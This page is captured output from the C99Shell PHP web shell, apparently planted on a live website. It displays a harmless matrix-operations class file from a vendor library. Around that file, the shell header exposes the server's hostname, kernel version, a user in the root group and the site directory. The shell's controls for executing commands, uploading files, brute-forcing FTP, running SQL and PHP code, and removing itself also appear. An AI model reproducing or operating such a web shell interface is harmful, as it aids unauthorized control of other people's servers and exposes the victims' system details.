!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/markbaker/matrix/classes/src/   drwxr-xr-x
Free 28.63 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Operations.php (4.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Matrix;

use 
Matrix\Operators\Addition;
use 
Matrix\Operators\DirectSum;
use 
Matrix\Operators\Division;
use 
Matrix\Operators\Multiplication;
use 
Matrix\Operators\Subtraction;

class 
Operations
{
    public static function 
add(...$matrixValues): Matrix
    
{
        if (
count($matrixValues) < 2) {
            throw new 
Exception('Addition operation requires at least 2 arguments');
        }

        
$matrix array_shift($matrixValues);

        if (
is_array($matrix)) {
            
$matrix = new Matrix($matrix);
        }
        if (!
$matrix instanceof Matrix) {
            throw new 
Exception('Addition arguments must be Matrix or array');
        }

        
$result = new Addition($matrix);

        foreach (
$matrixValues as $matrix) {
            
$result->execute($matrix);
        }

        return 
$result->result();
    }

    public static function 
directsum(...$matrixValues): Matrix
    
{
        if (
count($matrixValues) < 2) {
            throw new 
Exception('DirectSum operation requires at least 2 arguments');
        }

        
$matrix array_shift($matrixValues);

        if (
is_array($matrix)) {
            
$matrix = new Matrix($matrix);
        }
        if (!
$matrix instanceof Matrix) {
            throw new 
Exception('DirectSum arguments must be Matrix or array');
        }

        
$result = new DirectSum($matrix);

        foreach (
$matrixValues as $matrix) {
            
$result->execute($matrix);
        }

        return 
$result->result();
    }

    public static function 
divideby(...$matrixValues): Matrix
    
{
        if (
count($matrixValues) < 2) {
            throw new 
Exception('Division operation requires at least 2 arguments');
        }

        
$matrix array_shift($matrixValues);

        if (
is_array($matrix)) {
            
$matrix = new Matrix($matrix);
        }
        if (!
$matrix instanceof Matrix) {
            throw new 
Exception('Division arguments must be Matrix or array');
        }

        
$result = new Division($matrix);

        foreach (
$matrixValues as $matrix) {
            
$result->execute($matrix);
        }

        return 
$result->result();
    }

    public static function 
divideinto(...$matrixValues): Matrix
    
{
        if (
count($matrixValues) < 2) {
            throw new 
Exception('Division operation requires at least 2 arguments');
        }

        
$matrix array_pop($matrixValues);
        
$matrixValues array_reverse($matrixValues);

        if (
is_array($matrix)) {
            
$matrix = new Matrix($matrix);
        }
        if (!
$matrix instanceof Matrix) {
            throw new 
Exception('Division arguments must be Matrix or array');
        }

        
$result = new Division($matrix);

        foreach (
$matrixValues as $matrix) {
            
$result->execute($matrix);
        }

        return 
$result->result();
    }

    public static function 
multiply(...$matrixValues): Matrix
    
{
        if (
count($matrixValues) < 2) {
            throw new 
Exception('Multiplication operation requires at least 2 arguments');
        }

        
$matrix array_shift($matrixValues);

        if (
is_array($matrix)) {
            
$matrix = new Matrix($matrix);
        }
        if (!
$matrix instanceof Matrix) {
            throw new 
Exception('Multiplication arguments must be Matrix or array');
        }

        
$result = new Multiplication($matrix);

        foreach (
$matrixValues as $matrix) {
            
$result->execute($matrix);
        }

        return 
$result->result();
    }

    public static function 
subtract(...$matrixValues): Matrix
    
{
        if (
count($matrixValues) < 2) {
            throw new 
Exception('Subtraction operation requires at least 2 arguments');
        }

        
$matrix array_shift($matrixValues);

        if (
is_array($matrix)) {
            
$matrix = new Matrix($matrix);
        }
        if (!
$matrix instanceof Matrix) {
            throw new 
Exception('Subtraction arguments must be Matrix or array');
        }

        
$result = new Subtraction($matrix);

        foreach (
$matrixValues as $matrix) {
            
$result->execute($matrix);
        }

        return 
$result->result();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--